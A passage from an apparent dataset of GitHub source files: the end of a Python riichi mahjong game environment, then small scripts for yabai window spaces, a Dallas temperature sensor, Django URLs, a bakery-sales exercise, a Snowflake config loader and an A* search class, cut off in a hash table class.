or `int`\n The wall to use. If a string is given, it will be interpreted as a file\n path. If an integer is given, it will be interpreted as the random seed.\n '''\n # Apply ruleset\n self.ruleset = ruleset\n # kwargs has Wall then use it\n if 'wall' in kwargs:\n if isinstance(kwargs['wall'], Wall):\n self.wall = kwargs['wall']\n elif isinstance(kwargs['wall'], str):\n self.wall = Wall(ruleset, from_file=kwargs['wall'])\n elif isinstance(kwargs['wall'], int):\n self.wall = Wall(ruleset, random_seed=kwargs['wall'])\n else:\n self.wall = Wall(ruleset)\n # Initialize players\n self.players = []\n for i in range(ruleset.get_rule(\"players\")):\n self.players.append(Player(\"Player {}\".format(i+1), is_manual=True))\n # Initialize game state\n self.state = {}\n\n def set_player(self, player_idx: int, player: Player):\n '''\n Method: set_player()\n\n ## Description\n\n Sets the player at the given index.\n\n ## Parameters\n\n - `player_idx`: `int`\n The index of the player.\n - `player`: `Player`\n The player to set.\n '''\n self.players[player_idx] = player\n \n def initialize_game(self):\n '''\n Method: initialize_game()\n\n ## Description\n \n Initializes the game.\n '''\n self.state = {\n \"dora_revealed\": 1,\n \"player_idx\": 0,\n \"discarded_tiles\": [\n [] for _ in range(len(self.players))\n ],\n \"credits\": [\n # self.ruleset.get_rule(\"starting_credits\") for _ in range(len(self.players))\n 25000 for _ in range(len(self.players))\n ],\n \"wind\": \"E\",\n \"round\": 1,\n \"repeat\": 0,\n \"wind_e\": 0,\n \"calls\": [\n [] for _ in range(len(self.players))\n ],\n \"reach\": [\n False for _ in range(len(self.players))\n ],\n \"double_reach\": [\n False for _ in range(len(self.players))\n ],\n \"ippatsu\": [\n 0 for _ in range(len(self.players))\n ],\n \"end_game\": False,\n \"no_draw\": False,\n \"rinshan\": False,\n \"chankan\": False\n }\n self.history = {\n \"actions\": [],\n }\n # Initialize players\n for i in range(len(self.players)):\n self.players[i].initialize()\n # Initialize player hands\n self.hands = [self.wall.get_starting_hand(i) for i in range(len(self.players))]\n\n def record(self, obs, action):\n '''\n Method: record()\n\n ## Description\n\n Records the action.\n '''\n self.history[\"actions\"].append((obs, action))\n with open(\"game-log.log\", \"w\") as f:\n f.write(str(self.history))\n\n def step(self):\n '''\n Method: step()\n\n ## Description\n \n Performs a step in the game.\n '''\n # Get current player\n player_idx = self.state[\"player_idx\"]\n # Get player\n player = self.players[player_idx]\n # Draw a tile from the wall\n if self.state[\"no_draw\"]:\n tile = None\n self.state[\"no_draw\"] = False\n else:\n if len(self.wall.mountain) == 0:\n # Start ten / no ten quer\n # TODO\n self.end_game({\n \"reason\": \"wall_empty\",\n \"credits\": [0, 0, 0, 0]\n })\n else:\n tile = self.wall.mountain.pop()\n \n rinshan_continue = True # 嶺上\n # Perform action\n discarded_tile = Tile()\n while rinshan_continue:\n rinshan_continue = False\n # Query player for action: active\n obs = self.get_observation(player_idx, {\n \"player_state\": \"active\",\n \"incoming_tile\": tile\n })\n action = player.act(obs)\n # Record action\n self.record(obs, action)\n # Perform action\n discarded_tile = self.perform_action(action, obs)\n if action.action_type == \"kan\" or action.action_type == \"akan\" or action.action_type == \"mkan\" or action.action_type == \"nukidora\":\n # Check for Suukaikan\n kans = []\n for i in range(len(self.players)):\n for call in self.state[\"calls\"][i]:\n if call.find(\"k\") != -1:\n kans.append(i)\n if len(kans) >= 5 or len(kans) == 4 and len(set(kans)) != 1:\n self.end_game({\n \"reason\": \"suukaikan\",\n \"credits\": [0, 0, 0, 0]\n })\n # Add one dora indicator\n self.state[\"dora_revealed\"] += 1\n # kan cancels all ippatsu\n self.state[\"ippatsu\"] = [\n False for i in range(len(self.players))\n ]\n rinshan_continue = True\n self.state[\"rinshan\"] = True\n # Rinshan draw\n try:\n tile = self.wall.get_replacements().pop()\n except IndexError:\n # Suukaikan but the same player, no more tiles to draw\n self.end_game({\n \"reason\": \"suukaikan\",\n \"credits\": [0, 0, 0, 0]\n })\n else:\n rinshan_continue = False\n self.state[\"rinshan\"] = False\n # Query other players for action: passive\n for i in range(len(self.players)):\n if i != player_idx:\n passive_obs = self.get_observation(i, {\n \"player_state\": \"passive\",\n \"incoming_tile\": discarded_tile\n })\n passive_action = self.players[i].act(passive_obs)\n # Record action\n self.record(passive_obs, passive_action)\n # Perform action\n self.perform_action(passive_action, passive_obs)\n\n # Update game state\n self.state[\"player_idx\"] = (player_idx + 1) % len(self.players)\n\n def end_game(self, end_game_args: dict):\n '''\n Method: end_game()\n \n ## Description\n\n Ends the game.\n '''\n # End game event\n self.state[\"end_game\"] = end_game_args\n print(end_game_args)\n for player_idx in range(len(self.players)):\n self.state[\"credits\"][player_idx] += end_game_args[\"credits\"][player_idx]\n raise MahjongEndGame(self.state[\"end_game\"])\n \n def calculate_credits(self, player_idx: int, ron_or_tsumo: str or int, ron_from: int = -1, obs: dict = None) -> list:\n '''\n Method: calculate_credits()\n\n ## Description\n\n Calculates the credits for the player.\n\n ## Parameters\n\n - `player_idx`: `int`\n The index of the player.\n - `ron_or_tsumo`: `str`\n The type of ron or tsumo. Can be \"ron\" or \"tsumo\".\n\n ## Returns\n\n A list of credits for each player.\n '''\n from copy import deepcopy\n credits = [0, 0, 0, 0]\n state = deepcopy(self.state)\n if ron_or_tsumo == \"ron\":\n # Calculate ron credits\n state.update({\n \"ron_or_tsumo_player_idx\": player_idx,\n \"ron_from_player_idx\": ron_from,\n \"is_tsumo\": False,\n \"is_wall_empty\": len(self.wall.mountain) == 0\n })\n # Create winning deck\n winning_deck = self.hands[player_idx]\n for call in state[\"calls\"][player_idx]:\n tiles_in_call = get_tiles_from_call(call)\n for tile in tiles_in_call:\n winning_deck += tile\n winning_deck += obs[\"incoming_tile\"]\n dora_indicators = self.wall.get_dora_indicators()[0:self.state[\"dora_revealed\"]]\n agari_output = get_value(\n deck=winning_deck,\n incoming_tile = obs[\"incoming_tile\"],\n melds=self.state[\"calls\"][player_idx],\n game_state=state,\n ruleset=self.ruleset,\n dora_indicators=dora_indicators\n )\n print(agari_output)\n print(\"{} 番 {} 符,{} 点\".format(agari_output.han, agari_output.fu, agari_output.cost['main']))\n print(\"役:{}\".format(\", \".join([str(yaku) for yaku in agari_output.yaku])))\n credits[player_idx] = agari_output.cost['main']\n credits[ron_from] -= agari_output.cost['main']\n elif ron_or_tsumo == \"tsumo\":\n # Calculate tsumo credits\n state.update({\n \"ron_or_tsumo_player_idx\": player_idx,\n \"is_tsumo\": True,\n \"is_wall_empty\": len(self.wall.mountain) == 0\n })\n winning_deck = self.hands[player_idx]\n for call in state[\"calls\"][player_idx]:\n tiles_in_call = get_tiles_from_call(call)\n for tile in tiles_in_call:\n winning_deck += tile\n winning_deck += obs[\"incoming_tile\"]\n dora_indicators = self.wall.get_dora_indicators()[0:self.state[\"dora_revealed\"]]\n ura_dora_indicators = self.wall.get_ura_dora_indicators()[0:self.state[\"dora_revealed\"]]\n dora_indicators += ura_dora_indicators\n agari_output = get_value(\n deck=winning_deck,\n incoming_tile = obs[\"incoming_tile\"],\n melds=self.state[\"calls\"][player_idx],\n game_state=state,\n ruleset=self.ruleset,\n dora_indicators = dora_indicators\n )\n print(agari_output)\n print(\"{} 番 {} 符,{} 点\".format(agari_output.han, agari_output.fu, agari_output.cost['main']))\n print(\"役:{}\".format(\", \".join([str(yaku) for yaku in agari_output.yaku])))\n credits[0] = credits[1] = credits[2] = credits[3] = -agari_output.cost['additional']\n credits[player_idx] = agari_output.cost['main']\n return credits\n \n def perform_action(self, action: Action, obs: dict = None):\n '''\n Method: perform_action()\n\n ## Description\n \n Performs an action. An action will change the state of the game,\n which means this function is the core of the gameplay.\n\n ## Returns\n\n A `Tile` if the action is a discard or replace, otherwise `None`.\n '''\n assert isinstance(action, Action)\n # Get player\n player = self.state[\"player_idx\"]\n # Get player\n player = self.players[player]\n # Perform action\n print(action)\n if action.action_type == \"kan\":\n # 加槓\n player_idx = obs[\"player_idx\"]\n # if get_tiles_from_call(action.action_string)[0] != obs[\"incoming_tile\"]:\n # raise MahjongRuleError(\"Kakan must be called with the incoming tile {}, but got {} from action string\".format(obs[\"incoming_tile\"], get_tiles_from_call(action.action_string)[0]), self)\n # Get the tile to kan\n tile = obs[\"incoming_tile\"]\n kanned = False\n # Check wheter the player previously has called pon\n for call_idx in range(len(self.state[\"calls\"][player_idx])):\n call = self.state[\"calls\"][player_idx][call_idx]\n if call.find(\"p\") != -1 and get_tiles_from_call(call)[0] == tile:\n # Kakan OK, replace the pon with the kan\n self.state[\"calls\"][player_idx][call_idx] = action.action_string\n kanned = True\n break\n # If kan failed, raise an error\n if not kanned:\n raise MahjongRuleError(\"Kakan failed: player {} does not have pon for tile {}\".format(player_idx, tile), self)\n # Whether the rest players can call ron due to chankan\n for i in range(len(self.players)):\n if i != player_idx:\n chankan_obs = self.get_observation(i, {\n \"player_state\": \"chankan\",\n \"incoming_tile\": tile\n })\n action = self.players[i].act(chankan_obs)\n self.record(chankan_obs, action)\n if action.action_type == \"ron\":\n self.state[\"chankan\"] = True\n self.perform_action(action, chankan_obs)\n else:\n self.perform_action(action, chankan_obs)\n return None\n elif action.action_type == \"mkan\":\n # 明槓\n player_idx = obs[\"player_idx\"]\n # Add the incoming tile to player's hand\n self.hands[player_idx] += obs[\"incoming_tile\"]\n # Remove kanned tiles\n tiles_kanned = get_tiles_from_call(action.action_string)\n for tile_kanned in tiles_kanned:\n try:\n self.hands[player_idx].remove(tile_kanned)\n except ValueError:\n raise MahjongRuleError(\"Ankan failed: player {} does not have tile {}\".format(player_idx, tile_kanned), self)\n # Append to the calls\n self.state[\"calls\"][player_idx].append(action.action_string)\n # Whether the rest players can call ron due to chankan\n for i in range(len(self.players)):\n if i != player_idx:\n chankan_obs = self.get_observation(i, {\n \"player_state\": \"chankan\",\n \"is_ankan\": True,\n \"incoming_tile\": tile\n })\n action = self.players[i].act(chankan_obs)\n self.record(chankan_obs, action)\n if action.action_type == \"ron\":\n self.state[\"chankan\"] = True\n self.perform_action(action, chankan_obs)\n else:\n self.perform_action(action, chankan_obs)\n # # Check for Suukaikan\n # kans = []\n # for i in range(len(self.players)):\n # for call in self.state[\"calls\"][i]:\n # if call.find(\"k\") != -1:\n # kans.append(i)\n # if len(kans) >= 5 or len(kans) == 4 and len(set(kans)) != 1:\n # self.end_game({\n # \"reason\": \"suukaikan\",\n # \"credits\": [0, 0, 0, 0]\n # })\n # # Add one dora indicator\n # self.state[\"dora_revealed\"] += 1\n # kan cancels all ippatsu\n # self.state[\"ippatsu\"] = [\n # False for i in range(len(self.players))\n # ]\n elif action.action_type == \"akan\":\n # 暗槓\n player_idx = obs[\"player_idx\"]\n # if get_tiles_from_call(action.action_string)[0] != obs[\"incoming_tile\"]:\n # raise MahjongRuleError(\"Ankan must be called with the incoming tile {}, but got {} from action string\".format(obs[\"incoming_tile\"], get_tiles_from_call(action.action_string)[0]), self)\n # Get the tile to kan\n tile = obs[\"incoming_tile\"]\n tiles_kanned = get_tiles_from_call(action.action_string)\n for tile_kanned in tiles_kanned:\n try:\n self.hands[player_idx].remove(tile_kanned)\n except ValueError:\n raise MahjongRuleError(\"Ankan failed: player {} does not have tile {}\".format(player_idx, tile_kanned), self)\n # Append the incoming tile to the hand\n self.hands[player_idx].append(tile)\n # Append to the calls\n self.state[\"calls\"][player_idx].append(action.action_string)\n # Whether the rest players can call ron due to chankan\n for i in range(len(self.players)):\n if i != player_idx:\n chankan_obs = self.get_observation(i, {\n \"player_state\": \"chankan\",\n \"is_ankan\": True,\n \"incoming_tile\": tile\n })\n action = self.players[i].act(chankan_obs)\n self.record(chankan_obs, action)\n if action.action_type == \"ron\":\n self.state[\"chankan\"] = True\n self.perform_action(action, chankan_obs)\n else:\n self.perform_action(action, chankan_obs)\n return None\n elif action.action_type == \"chii\":\n player_idx = obs[\"player_idx\"]\n action_string = action.action_string\n # Append the chi to the player's calls\n self.state[\"calls\"][player_idx].append(action_string)\n # Append the incoming tile to the player's hand\n self.hands[player_idx].append(obs[\"incoming_tile\"])\n # Remove the tiles used in the chii\n for tile in get_tiles_from_call(action_string):\n try:\n self.hands[player_idx].remove(tile)\n except ValueError:\n raise MahjongRuleError(\"Chii failed: player {} does not have tile {}\".format(player_idx, tile), self)\n # Set the active player to be the previous player, so as to step to the chi caller\n self.state[\"player_idx\"] = (player_idx - 1) % len(self.players)\n # Disallow the next draw tile\n self.state[\"no_draw\"] = True\n # Chii cancels all ippatsu\n self.state[\"ippatsu\"] = [\n False for i in range(len(self.players))\n ]\n return None\n elif action.action_type == \"pon\":\n player_idx = obs[\"player_idx\"]\n action_string = action.action_string\n # Append the pon to the player's calls\n self.state[\"calls\"][player_idx].append(action_string)\n # Append the incoming tile to the player's hand\n self.hands[player_idx].append(obs[\"incoming_tile\"])\n # Remove the tiles used in the pon\n for tile in get_tiles_from_call(action_string):\n try:\n self.hands[player_idx].remove(tile)\n except ValueError:\n raise MahjongRuleError(\"Pon failed: player {} does not have tile {}\".format(player_idx, tile), self)\n # Set the active player to be the previous player, so as to step to the pon caller\n self.state[\"player_idx\"] = (player_idx - 1) % len(self.players)\n # Disallow the next draw tile\n self.state[\"no_draw\"] = True\n # Pon cancels all ippatsu\n self.state[\"ippatsu\"] = [\n False for i in range(len(self.players))\n ]\n return None\n elif action.action_type == \"tsumo\":\n # Win the game\n player_idx = obs[\"player_idx\"]\n if obs[\"active_player\"] != player_idx:\n raise MahjongRuleError(\"Tsumo must be called by the active player {}, but got {}\".format(player_idx, obs[\"active_player\"]), self)\n credits = self.calculate_credits(player_idx, \"tsumo\", obs=obs)\n self.end_game({\n \"reason\": \"tsumo\",\n \"credits\": credits\n })\n elif action.action_type == \"reach\":\n # Get the tile to cut\n tile_id = action.action_string[-2:]\n player_idx = obs[\"player_idx\"]\n if int(tile_id) == 60:\n # Discard the incoming tile\n tile = obs[\"incoming_tile\"]\n # Add the discarded tile to the player's discarded tiles\n self.state[\"discarded_tiles\"][player].append(tile)\n # Reach state\n self.state[\"reach\"][player_idx] = True\n self.state[\"ippatsu\"][player_idx] = True\n if len(self.state[\"discarded_tiles\"][player_idx]) == 0:\n self.state[\"double_reach\"][player_idx] = True\n # Return the discarded tile\n return tile\n else:\n # Replace and reach\n tile = Tile(int(tile_id))\n # Remove one tile from the player's hand\n try:\n self.hands[player_idx].remove_tile(tile)\n except ValueError:\n raise ValueError(\"Player {} does not have the tile {}.\".format(player_idx, tile))\n # Add the drawn tile to the player's hand\n self.hands[player_idx].add_tile(obs[\"incoming_tile\"])\n # Add the drawn tile to the player's discarded tiles\n self.state[\"discarded_tiles\"][player_idx].append(obs[\"incoming_tile\"])\n # Reach state\n self.state[\"reach\"][player_idx] = True\n self.state[\"ippatsu\"][player_idx] = True\n if len(self.state[\"discarded_tiles\"][player_idx]) == 0:\n self.state[\"double_reach\"][player_idx] = True\n # Return the tile\n return tile\n elif action.action_type == \"ron\":\n # Win the game\n player_idx = obs[\"player_idx\"]\n ron_from = obs[\"active_player\"]\n credits = self.calculate_credits(player_idx, \"ron\", ron_from, obs=obs)\n self.end_game({\n \"reason\": \"ron\",\n \"credits\": credits\n })\n elif action.action_type == \"discard\":\n # Discard the incoming tile\n player_idx = obs[\"player_idx\"]\n tile = obs[\"incoming_tile\"]\n # Add the discarded tile to the player's discarded tiles\n self.state[\"discarded_tiles\"][player_idx].append(tile)\n # Return the discarded tile\n return tile\n elif action.action_type == \"replace\":\n # Get the tile to cut\n tile_id = action.action_string\n # Turn into a tile\n tile = Tile(int(tile_id))\n # Remove one tile from the player's hand\n try:\n self.hands[obs[\"player_idx\"]].remove_tile(tile)\n except ValueError:\n raise ValueError(\"Player {} does not have the tile {}.\".format(obs[\"player_idx\"], tile))\n # Add the discarded tile to the player's discarded tiles\n self.state[\"discarded_tiles\"][obs[\"player_idx\"]].append(tile)\n # Add the drawn tile to the player's hand\n if obs[\"incoming_tile\"] is not None:\n self.hands[obs[\"player_idx\"]].add_tile(obs[\"incoming_tile\"])\n # Return the tile\n return tile\n elif action.action_type == \"ten\":\n pass\n elif action.action_type == \"noten\":\n pass\n\n def get_observation(self, player_idx: int, additional_dict: dict = []) -> dict:\n '''\n Method: get_observation()\n\n ## Description\n \n Gets the observation of the player.\n '''\n \n obs = {}\n # Get player\n obs[\"active_player\"] = self.state[\"player_idx\"]\n # Get player\n obs[\"player_idx\"] = player_idx\n # Create observation dictionary\n # A player can see the hand\n obs[\"hand\"] = self.hands[player_idx]\n # A player can see the revealed dora indicators\n obs[\"dora_indicators\"] = self.wall.get_dora_indicators()[0:self.state[\"dora_revealed\"]]\n # A player can see the discarded tiles from all players\n obs[\"discarded_tiles\"] = self.state[\"discarded_tiles\"]\n # A player can see the calls from all players\n obs[\"calls\"] = self.state[\"calls\"]\n # A player can see the wind\n obs[\"wind\"] = self.state[\"wind\"]\n # A player can see the repeat\n obs[\"repeat\"] = self.state[\"repeat\"]\n # A player can see the wind east\n obs[\"wind_e\"] = self.state[\"wind_e\"]\n # A player can see all players' credit\n obs[\"credits\"] = self.state[\"credits\"]\n # A player can see whether a player is reach, and whether ippatsu is available\n obs[\"reach\"] = self.state[\"reach\"]\n obs[\"ippatsu\"] = self.state[\"ippatsu\"]\n # A player can see how many tiles are left in the wall\n obs[\"tiles_left\"] = len(self.wall.get_mountain())\n # Merge additional dict\n obs.update(additional_dict)\n return obs\n\n def play(self):\n '''\n Method: play()\n\n ## Description\n \n Plays the game.\n '''\n # Initialize game\n self.initialize_game()\n # Play game\n while True:\n self.step()\n","repo_name":"Gennadiyev/riichi-mahjong-gym","sub_path":"env/mahjong.py","file_name":"mahjong.py","file_ext":"py","file_size_in_byte":27522,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"13988237408","text":"#!/usr/bin/env python3\n\nimport sys\nimport json\nimport subprocess\nimport os\n\nargv = sys.argv\n\ndef get_json(str):\n term_cmd = str.split()\n raw_output = subprocess.run(term_cmd, stdout=subprocess.PIPE)\n human_readable = raw_output.stdout.decode('utf-8')\n return json.loads(human_readable)\n\nspaces = get_json('yabai -m query --spaces')\ndisplays = get_json('yabai -m query --displays')\ncurrent_space = get_json('yabai -m query --spaces --space')\ncurrent_display = current_space['display']\n\ndwm = {x+1: [] for x in range(len(displays))}\n\nfor i in spaces:\n dwm[i['display']].append(i['index'])\n\ndef get_destination(n, current_display):\n local_spaces = dwm[current_display]\n local_first = local_spaces[0]\n if n <= len(local_spaces):\n return local_spaces[n-local_first]\n else:\n return 0\n\n\ndef main():\n if len(argv) != 3: return\n\n first_arg = int(argv[1])\n if first_arg == 0: return\n\n second_arg = argv[2]\n\n target = get_destination(first_arg, current_display)\n if target == 0: return\n\n print('target', target)\n if second_arg == '--focus':\n # handle focus\n os.system('yabai -m space --focus %s' % (target))\n elif second_arg == '--move':\n # handle move\n os.system('yabai -m window --space %s' % (target))\n\nmain()\n","repo_name":"nguyenvukhang/dots","sub_path":"@/yabai/spaces.py","file_name":"spaces.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"19097174092","text":"\"\"\"Dallas temp sensor.\"\"\"\n\nimport asyncio\nimport logging\nfrom datetime import datetime\n\nfrom adafruit_ds18x20 import DS18X20\nfrom w1thermsensor import SensorNotReadyError, NoSensorFoundError\n\nfrom boneio.const import SENSOR, STATE, TEMPERATURE\nfrom boneio.helper import AsyncUpdater, BasicMqtt\nfrom boneio.helper.exceptions import OneWireError\nfrom boneio.helper.onewire import AsyncBoneIOW1ThermSensor, OneWireAddress, OneWireBus\n\nfrom . import TempSensor\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass DallasSensorDS2482(TempSensor, AsyncUpdater):\n DefaultName = TEMPERATURE\n SensorClass = DS18X20\n\n def __init__(\n self,\n bus: OneWireBus,\n address: OneWireAddress,\n id: str = DefaultName,\n **kwargs,\n ):\n \"\"\"Initialize Temp class.\"\"\"\n self._loop = asyncio.get_event_loop()\n BasicMqtt.__init__(self, id=id, topic_type=SENSOR, **kwargs)\n try:\n self._pct = DS18X20(bus=bus, address=address)\n self._state = None\n except ValueError as err:\n raise OneWireError(err)\n AsyncUpdater.__init__(self, **kwargs)\n\n\nclass DallasSensorW1(TempSensor, AsyncUpdater):\n DefaultName = TEMPERATURE\n SensorClass = AsyncBoneIOW1ThermSensor\n\n def __init__(\n self,\n address: OneWireAddress,\n id: str = DefaultName,\n filters: list = [\"round(x, 2)\"],\n **kwargs,\n ):\n \"\"\"Initialize Temp class.\"\"\"\n self._loop = asyncio.get_event_loop()\n BasicMqtt.__init__(self, id=id, topic_type=SENSOR, **kwargs)\n self._filters = filters\n try:\n self._pct = AsyncBoneIOW1ThermSensor(sensor_id=address)\n except ValueError as err:\n raise OneWireError(err)\n AsyncUpdater.__init__(self, **kwargs)\n\n async def async_update(self, time: datetime) -> None:\n try:\n _temp = await self._pct.get_temperature()\n _LOGGER.debug(\"Fetched temperature %s. Applying filters.\", _temp)\n _temp = self._apply_filters(value=_temp)\n if _temp is None:\n return\n self._state = _temp\n self._send_message(\n topic=self._send_topic,\n payload={STATE: self._state},\n )\n except SensorNotReadyError as err:\n _LOGGER.error(\"Sensor not ready, can't update %s\", err)\n except NoSensorFoundError as err:\n _LOGGER.error(\"Sensor not found, can't update %s\", err)\n","repo_name":"boneIO-eu/app_black","sub_path":"boneio/sensor/temp/dallas.py","file_name":"dallas.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"33621678543","text":"import snowflake.connector\nimport yaml\nimport os\nimport streamlit as st\n\nclass DatabaseConnection:\n\n def __init__(self, config):\n self.database_config = config[\"database\"]\n\n @st.cache_resource\n def get_connection(_self):\n conn = snowflake.connector.connect(\n user=st.secrets.database.user,\n account=st.secrets.database.account,\n password=st.secrets.database.password,\n host=st.secrets.database.host,\n database=st.secrets.database.name,\n session_parameters=_self.database_config[\"session_parameters\"]\n )\n return conn\n \nclass Config:\n\n def __init__(self):\n self.path = os.path.realpath(os.path.dirname(__file__))\n self.config = self.read_config()\n\n def read_config(_self):\n with open(_self.path + \"/config.yaml\", \"r\", encoding=\"utf-8\") as stream:\n try:\n return yaml.safe_load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n","repo_name":"tiranozzz/swissski_dashboard","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6904700844","text":" #A padaria Super Pão vende uma certa quantidade de pães franceses e uma quantidade de broas a cada dia. \n # Cada pãozinho custa R$ 1,00 e a broa custa R$ 3,50. \n # Ao final do dia, o dono quer saber quanto arrecadou com a venda dos pães e broas (juntos), e quanto deve guardar numa conta de poupança (10% do total arrecadado). \n # Você foi contratado para fazer os cálculos para o dono. \n # Com base nestes fatos, faça um algoritmo para ler as quantidades de pães e de broas, e depois calcular os dados solicitados. ​\n\nquantidadeP = float(input(\"Digite a quantidade de pães vendidos: \\n\"))\nquantidadeB = float(input(\"Digite a quantidade de broas vendidas: \\n\"))\n\npaes = 1.0\nbroas = 3.5\n\n#porcentagem guardada na poupança é 10%\n\nporcentagem = 0.10\ntotal_vendido = (quantidadeP+quantidadeB)*(paes+broas)\ntotal_poupanca = total_vendido*porcentagem\n\nprint(f\"Quantidade de pães vendidos {quantidadeP:.1f}\")\nprint(f\"Quantidade de broas vendidas {quantidadeB:.1f}\")\nprint(f\"Valor total vendido {total_vendido:.2f}\")\nprint(f\"Valor total poupado {total_poupanca:.2f}\")","repo_name":"joeymartins00/fabrica-software","sub_path":"Exercício 37 - A padaria Super Pão vende uma certa quantidade de pães franceses e uma quantidade de broas a cada dia.py","file_name":"Exercício 37 - A padaria Super Pão vende uma certa quantidade de pães franceses e uma quantidade de broas a cada dia.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"11496902063","text":"\"\"\"roket URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.contrib.auth import views as auth\nfrom . import views\n\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n #Cree el Home\n path('', views.Home, name='home'),\n \n #Inicio del juego\n\n path('iniciojuego/', views.InicioJuego, name='iniciojuego'),\n \n path('ranking/', views.RankingListView.as_view(), name='ranking'),\n \n path('juego/', views.Juego, name='juego'),\n #login \n path('login/',auth.LoginView.as_view(template_name = 'usuarios/login.html'), name='login'),\n #logout\n path('logout/', auth.LogoutView.as_view(),name='logout'),\n\n path('registrar/', views.RegistroUsuario, name='registrar'),\n\n path('homeiniciadosesion/', views.HomeInicioLogin, name='homeiniciadosesion'),\n\n path('pregunta/', views.Preguntas, name='preguntas/pregunta.html'),\n\n path('categoria/', views.CategoriaListView.as_view(), name='categorias'),\n \n\n \n\n]\n","repo_name":"coriagaston/TrabajoRoket","sub_path":"roket/roket/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71800147610","text":"\"\"\" generic A-Star path searching algorithm \"\"\"\n\"\"\" based on https://raw.githubusercontent.com/jrialland/python-astar/master/src/astar/__init__.py\"\"\"\n\nfrom abc import ABCMeta, abstractmethod\nfrom heapq import heappush, heappop\n\nimport time\n\nclass AStar:\n __metaclass__ = ABCMeta\n __slots__ = ()\n\n class SearchNode:\n __slots__ = ('data', 'fscore',\n 'closed', 'came_from', 'out_openset')\n\n def __init__(self, data, fscore=.0):\n self.data = data\n self.fscore = fscore\n self.closed = False\n self.out_openset = True\n self.came_from = None\n\n def __lt__(self, other):\n return self.fscore > other.fscore\n\n def format_print(self, label):\n node_string = self.data.format_print(label)\n return '{} score: {}'.format(node_string, self.fscore)\n\n class SearchNodeDict(dict):\n\n def __missing__(self, k):\n v = AStar.SearchNode(k)\n self.__setitem__(k, v)\n return v\n\n @abstractmethod\n def heuristic_cost(self, node, goal):\n \"\"\"Computes the estimated (rough) distance between a node and the goal,\n this method must be implemented in a subclass. The second parameter is\n always the goal.\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def real_cost(self, node):\n raise NotImplementedError\n\n @abstractmethod\n def fscore(self, node, goal):\n raise NotImplementedError\n\n @abstractmethod\n def neighbors(self, node):\n \"\"\"For a given node, returns (or yields) the list of its neighbors.\n this method must be implemented in a subclass\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def is_goal_reached(self, current, goal):\n \"\"\" returns true when we can consider that 'current' is the goal\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def move_to_closed(self, current):\n raise NotImplementedError\n\n # def reconstruct_path(self, last, reverse_path=False):\n # def _gen():\n # current = last\n # while current:\n # yield current.data\n # current = current.came_from\n # if reverse_path:\n # return _gen()\n # else:\n # return reversed(list(_gen()))\n\n def astar(self, start, goal, n_goals, time_out=60., n_cost_reductions=1, cost_reduction_rate=0.2):\n\n cost_coefficient = 1.\n searchNodes = AStar.SearchNodeDict()\n openSet = []\n goals = []\n for strt in start:\n cost = self.fscore(strt, goal, cost_coefficient)\n startNode = searchNodes[strt] = AStar.SearchNode(strt, fscore=cost)\n heappush(openSet, startNode)\n\n total_time_out = time_out * n_cost_reductions\n current_time = start_time = time.clock()\n while (time.clock() - start_time < total_time_out) and openSet and len(goals) < int(n_goals):\n current = heappop(openSet)\n if (time.clock() - current_time >= time_out):\n cost_coefficient *= cost_reduction_rate\n for t in openSet:\n t.fscore = self.fscore(t.data, goal, cost_coefficient)\n current_time = time.clock()\n\n if self.is_goal_reached(current.data, goal):\n if current.data not in goals:\n goals.append(current.data)\n current.out_openset = True\n current.closed = True\n self.move_to_closed(current.data)\n for neighbor in [searchNodes[n] for n in self.neighbors(current.data)]:\n if neighbor.closed:\n continue\n neighbor.fscore = self.fscore(neighbor.data, goal, cost_coefficient)\n\n if neighbor.out_openset:\n neighbor.out_openset = False\n heappush(openSet, neighbor)\n\n return goals\n","repo_name":"Katulaka/neural-sequntial-parse-tree-generator","sub_path":"src/astar/astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6131562385","text":"\"\"\"\nHash Table\n\"\"\"\n\n# Constants\n\nMAX_HASH_TABLE_SIZE = 4098\n\n# Classes\n\nclass BasicHashTable:\n def __init__(self, max_size=MAX_HASH_TABLE_SIZE):\n self.data_list = max_size*[None]\n\n def insert(self, key, value):\n \"\"\"\n Insert a new key-value pair.\n \"\"\"\n idx = BasicHashTable.get_index(self.data_list, key)\n self.data_list[idx] = (key, value)\n\n def find(self, key):\n \"\"\"\n Find the value associated with a key.\n \"\"\"\n idx = BasicHashTable.get_index(self.data_list, key)\n key_value = self.data_list[idx]\n\n if key_value is None:\n return None\n else:\n key, value = key_value\n return value\n\n def update(self, key, value):\n \"\"\"\n Change the value associated with a key.\n \"\"\"\n idx = BasicHashTable.get_index(self.data_list, key)\n self.data_list[idx] = (key, value)\n\n def list_all(self):\n \"\"\"\n List all the keys.\n \"\"\"\n list_of_keys = list()\n\n for key_value in self.data_list:\n if key_value is not None:\n key, 